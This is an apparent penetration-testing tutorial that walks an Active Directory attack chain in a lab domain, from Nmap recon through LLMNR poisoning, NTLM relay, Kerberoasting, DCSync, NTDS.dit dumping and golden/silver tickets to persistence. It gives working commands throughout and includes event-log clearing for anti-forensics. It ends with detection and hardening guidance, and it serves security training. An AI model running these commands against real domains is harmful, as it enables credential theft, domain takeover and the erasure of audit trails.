Active Directory Pentesting Cycle (From Recon to Domain Admin)

Chaining Active Directory Misconfigurations

Introduction

I’ve conducted a few tests where the path from a domain user to Domain Admin took anywhere from half an hour to a few days, and each time the chain was reproducible.

Half an hour is not bragging. It’s an indicator of how common misconfigurations still are in production environments.

This article breaks down an Active Directory exploitation chain, from the initial Nmap scan to DCSync, including concrete commands, explanations of flags, and common mistakes that even experienced penetration testers can run into.

Inside a Lab.

Before running BloodHound on a client’s production domain, this attack chain should first be validated in a lab environment. The lab used here is minimal but covers all required scenarios:

  • DC01 - Windows Server 2022 with AD DS and DNS roles. Domain: lab.local
  • SRV01 - Windows Server 2019, domain member. Hosts a service with SPN (used for Kerberoasting)
  • WS01 - Windows 10/11 Pro, domain workstation
  • Attacker - Kali Linux / Parrot with Impacket, BloodHound, Responder, NetExec (nxc, modern CrackMapExec fork), and Rubeus installed

An intentionally vulnerable configuration is applied via PowerShell on DC01:

# Turning on LLMNR (Should be on by def.)
# GPO: Computer Configuration -> Administrative Templates -> Network -> DNS Client
# "Turn off multicast name resolution" = Not Configured

# Creating a service account with SPN and weak password
New-ADUser -Name "svc_backup" `
-SamAccountName svc_backup `
-AccountPassword (ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) `
-Enabled $true

Set-ADUser -Identity svc_backup `
-ServicePrincipalNames @{Add="MSSQLSvc/srv01.lab.local:1433"}

# Disabling Kerberos Pre-Authentication (AS-REP Roasting scenario)
Set-ADAccountControl -Identity "testuser" `
-DoesNotRequirePreAuth $true

# ACL abuse: user can modify another user’s password
$targetDN = (Get-ADUser svc_backup).DistinguishedName
$attackerSID = (Get-ADUser "youruser").SID
$acl = Get-Acl "AD:\$targetDN"

# ACE 1: ForceChangePassword (password reset scenario)
# 5-parameter constructor: (identity, adRights, type, objectType, inheritanceType)
$ace1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attackerSID,
"ExtendedRight",
"Allow",
[GUID]"00299570-246d-11d0-a768-00aa006e0529",
"None"
)

$acl.AddAccessRule($ace1)

# ACE 2: GenericWrite (for targeted Kerberoasting via SPN modification)
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attackerSID,
"GenericWrite",
"Allow",
"None"
)

$acl.AddAccessRule($ace2)

Set-Acl "AD:\$targetDN" $acl

What This Lab Enables

This intentionally vulnerable setup allows practice of the following attack techniques:

Kerberoasting — SPN-based service account credential extraction

AS-REP Roasting — exploitation of accounts without Kerberos pre-authentication

LLMNR Poisoning — network name resolution spoofing attacks

ACL Abuse — privilege manipulation via Active Directory permissions

Lateral Movement — post-exploitation movement across domain assets

The following sections break down the AD exploitation chain from the initial Nmap scan to DCSync, including exact commands, flag explanations, and common mistakes that even experienced penetration testers can make.

1. AD Reconnaissance: Enumeration Tools and Techniques

Network Reconnaissance: Identifying the Domain Controller

The first step after connecting to an internal network is identifying where the Domain Controller is located. A DC exposes a specific set of ports, and Nmap with the correct flags can find it within seconds:

# Fast subnet scan for key AD ports
nmap -sS -T4 -p 53,88,135,139,389,445,636,3268,3269 10.10.10.0/24 --open -oG dc_scan.txt

# Port 88 (Kerberos) + 389 (LDAP) = almost certainly a DC
grep "88/open.*389/open" dc_scan.txt

Why these ports? 88 = Kerberos, 389 = LDAP, 636 = LDAPS, and 3268/3269 = Global Catalog. If all of them are present on one host, you are very likely looking at a Domain Controller.

Additional verification via DNS:

# SRV record query (works without credentials)
nslookup -type=srv _ldap._tcp.dc._msdcs.lab.local 10.10.10.1

Enumeration Without Credentials

Even before obtaining the first password, a large amount of information can be extracted. In a black-box scenario, we can start by testing anonymous LDAP and SMB access. Surprisingly, this still works in some environments.

# Anonymous LDAP bind test
ldapsearch -x -H ldap://10.10.10.1 -b "DC=lab,DC=local" -s base "(objectclass=*)" 2>/dev/null

# Full anonymous enumeration via enum4linux-ng
enum4linux-ng -A 10.10.10.1

# Anonymous SMB share listing
smbclient -L //10.10.10.1 -N

Special attention should be given to SYSVOL and NETLOGON shares. These can contain deployment scripts with hardcoded credentials. In past engagements, I found Groups.xml files from legacy GPP policies in SYSVOL, where encrypted passwords could be trivially decrypted using gpp-decrypt because Microsoft published the encryption key long ago.

It’s a recurring gift that keeps appearing in real environments.

BloodHound: Building the Attack Graph

This is where Active Directory pentesting shifts from a set of commands into a strategy.

BloodHound visualizes relationships between domain objects and helps identify privilege escalation paths. In practice, a low-privileged user may have write access to a service account in a Backup Operators group, which can lead through a chain of relationships toward Domain Admin. Manually tracing such multi-hop chains is extremely difficult.

Data collection is performed using SharpHound from Windows or bloodhound-python from Linux:

# Data collection from Linux (domain credentials required)
bloodhound-python -u 'youruser' -p 'Password1' -d lab.local -ns 10.10.10.1 -c All

# SharpHound from Windows (run as domain user)
# .\SharpHound.exe -c All --zipfilename loot.zip

The -c All flag collects sessions, ACLs, groups, trusts, and containers, providing a broad dataset for analysis.

After importing the JSON files into BloodHound, use built-in queries such as:

  • “Find Shortest Paths to Domain Admins”
  • “Find AS-REP Roastable Users”
  • “Find Kerberoastable Users”
  • “Shortest Paths from Owned Principals”

A common workflow is marking compromised accounts as “Owned” and recalculating paths. This transforms a chaotic pentest into structured, graph-based progression rather than blind enumeration.

LLMNR/NBT-NS Poisoning: Credential Interception in the Local Network

LLMNR and NetBIOS Name Service can still be enabled in enterprise environments. When LLMNR is enabled, failed DNS lookups can fall back to multicast name resolution, creating an opportunity for an attacker on the local network to spoof responses and capture NTLM authentication attempts. Microsoft documents that LLMNR is enabled when the corresponding policy is not configured or disabled.

# Responder start (basic configuration)
responder -I eth0 -dwv

Flags:

  • -I — interface selection
  • -d — enables DHCP spoofing
  • -w — enables WPAD rogue proxy
  • -v — verbose output

After launching Responder, it listens for LLMNR/NBT-NS requests and can capture NTLMv2 challenge-response hashes. These hashes can later be cracked offline or used in relay attacks.

NetNTLM Relay: Authentication Relaying

If SMB signing is not enforced, captured NTLM authentication can be relayed to other network services instead of being cracked.

# Start NTLM relay attack
ntlmrelayx.py -tf targets.txt -smb2support

A typical target list contains hosts where SMB or LDAP signing is not enforced:

10.10.10.20
10.10.10.25
10.10.10.30

Kerberoasting: Extracting Service Account Credentials

Kerberoasting targets service accounts with Service Principal Names (SPNs) by requesting Kerberos service tickets and extracting encrypted TGS tickets for offline brute-force attacks.

# Get SPN tickets using Impacket
GetUserSPNs.py lab.local/youruser:Password1 -dc-ip 10.10.10.1 -request

Alternative execution via Rubeus:

Rubeus.exe kerberoast /outfile:hashes.txt

Offline cracking with Hashcat:

hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting: Attack Without Kerberos Pre-Authentication

If Kerberos pre-authentication is disabled for a user account, an attacker can request an encrypted AS-REP response without knowing the password.

GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 10.10.10.1

ACL Abuse: Active Directory Permission Exploitation

Active Directory ACLs are often a source of hidden privilege escalation paths. Even low-privileged users may have rights to modify attributes of other objects.

Common rights include:

  • ForceChangePassword
  • GenericWrite
  • GenericAll
  • WriteDACL

BloodHound often reveals multi-step privilege escalation chains created by these permission relationships.

Lateral Movement: Moving Laterally Within the Domain

After obtaining valid credentials, the next objective is lateral movement across domain hosts using SMB, WinRM, or WMI.

# SMB exec
impacket-psexec lab.local/youruser:Password1@10.10.10.20

# WinRM exec
evil-winrm -i 10.10.10.20 -u youruser -p Password1

DCSync: Domain Compromise Stage

DCSync uses Active Directory replication functionality to request credential data from a Domain Controller, allowing extraction of password hashes for domain users, including the krbtgt account.

secretsdump.py lab.local/youruser:Password1@10.10.10.1

Alternative via Mimikatz:

lsadump::dcsync /domain:lab.local /user:krbtgt

Post-Exploitation: Domain-Wide Credential Extraction and Persistence

After obtaining Domain Admin or replication-level privileges, the attacker gains broad access to the Active Directory environment. At this stage, the objective is no longer access escalation, but complete domain control and persistence.

NTDS.dit Extraction: Offline Credential Database Dump

One of the most critical artifacts in Active Directory is the NTDS database, which contains domain credential data.

secretsdump.py lab.local/Administrator:Password1@10.10.10.1 -just-dc

This extracts:

  • NTLM hashes for domain users
  • Kerberos keys
  • System boot key material

Alternative approach using Volume Shadow Copy:

vssadmin create shadow /for=C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit

copy C:\Windows\System32\config\SYSTEM C:\temp\SYSTEM

Offline extraction:

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Golden Ticket Attack: Kerberos Trust Abuse

With the NTLM hash of the krbtgt account, it is possible to forge Kerberos Ticket Granting Tickets (TGTs), creating a mechanism for persistent domain-level impersonation.

ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_sid> -domain lab.local administrator

Alternative via Mimikatz:

kerberos::golden /domain:lab.local /sid:<domain_sid> /rc4:<krbtgt_hash> /user:administrator /id:500

Silver Ticket Attack: Service-Level Impersonation

Silver Tickets target specific services by forging a Service Ticket (TGS) without contacting a Domain Controller.

kerberos::golden /domain:lab.local /sid:<domain_sid> /target:srv01.lab.local /service:MSSQL /rc4:<service_hash> /user:administrator

Persistence Techniques in Active Directory

After domain compromise, attackers may establish persistence mechanisms designed to survive password resets and account changes.

Common techniques include:

  • ACL backdoors (GenericAll / WriteDACL on privileged objects)
  • AdminSDHolder modification
  • SIDHistory injection
  • Creating hidden privileged accounts

AdminSDHolder Abuse

Objects inside privileged groups are periodically protected by the AdminSDHolder mechanism, which propagates permissions by means of the Security Descriptor Propagator (SDProp). By default, SDProp runs every 60 minutes on the domain controller holding the PDC Emulator role.

If AdminSDHolder is modified, this can create persistent privilege escalation.

Set-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=lab,DC=local" -Replace @{ntSecurityDescriptor="..."}

SIDHistory Injection

SIDHistory allows an account to retain SIDs from another domain or account context, which can result in inherited access to resources associated with those SIDs.

mimikatz.exe "privilege::debug" "sid::add /sid:<domain_admin_sid>"

Lateral Movement at Scale: Domain-Wide Execution

Once full control is achieved, execution can be performed across domain hosts.

crackmapexec smb 10.10.10.0/24 -u Administrator -H <ntlm_hash> -x "whoami"

or:

impacket-smbexec lab.local/Administrator@10.10.10.20

Cleanup and Anti-Forensics Considerations

In real engagements, attackers may attempt to reduce their forensic footprint by:

  • Clearing Windows Event Logs
  • Removing PowerShell transcription logs
  • Disabling security auditing temporarily
  • Deleting shadow copies
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

Detection and Common Defensive Gaps

Many of the techniques described above remain effective not because they are advanced, but because detection and hardening are often incomplete or misconfigured.

LLMNR/NBT-NS poisoning is still possible when multicast name resolution is enabled. NTLM relay can succeed in environments where SMB signing is not enforced. Kerberoasting remains viable when service accounts use weak passwords and ticket requests are not adequately monitored.

Logging Gaps

Windows logging does not, by itself, provide complete visibility into every Active Directory abuse scenario. Critical events may be generated but are often not collected, correlated, or analyzed.

Key examples include:

  • Kerberos ticket requests (Event ID 4769), which are rarely monitored for anomalies such as high request volume or unusual service accounts
  • Logon events (4624), which do not always clearly indicate pass-the-hash or relay scenarios
  • Directory Service changes (5136), which are often ignored, allowing ACL abuse to go unnoticed

BloodHound as a Defensive Tool

Although commonly used offensively, BloodHound can also be leveraged defensively to identify dangerous privilege escalation paths before an attacker does.

Regular collection and analysis of AD relationships allows defenders to:

  • Identify users with excessive privileges
  • Detect unintended ACL paths to Domain Admin
  • Monitor changes in privilege relationships over time

Hardening Recommendations

To mitigate the described attack vectors, the following controls should be implemented:

  • Disable LLMNR and NetBIOS over TCP/IP across all endpoints
  • Enforce SMB signing on all systems
  • Restrict NTLM usage via Group Policy where possible
  • Use strong, randomly generated passwords for service accounts
  • Enable Kerberos pre-authentication for all users
  • Regularly audit ACLs and privileged group memberships
  • Monitor for DCSync attempts and replication rights abuse

Monitoring DCSync Activity

DCSync attacks can generate replication-related events. Monitoring these events is critical for detecting domain compromise.

Indicators include:

  • Event ID 4662 with replication permissions
  • Requests originating from non-Domain Controller systems
  • Unusual accounts performing directory replication

Conclusion 

A full Active Directory compromise chain is rarely dependent on a single vulnerability. Instead, it is usually the result of multiple small misconfigurations combined into a viable attack path.

Understanding how these pieces connect is significantly more valuable than memorizing individual tools or commands.

Start with a lab such as HTB. Practice each phase. Then combine them.

If you understand the chain, you control the attack. If you don’t, you’re just running tools.

🛡️ Defensive Recommendations 🛡️🚪

  • Disable LLMNR/NBT-NS
  • Enable SMB signing
  • Use strong passwords, especially for service accounts
  • Monitor Kerberos activity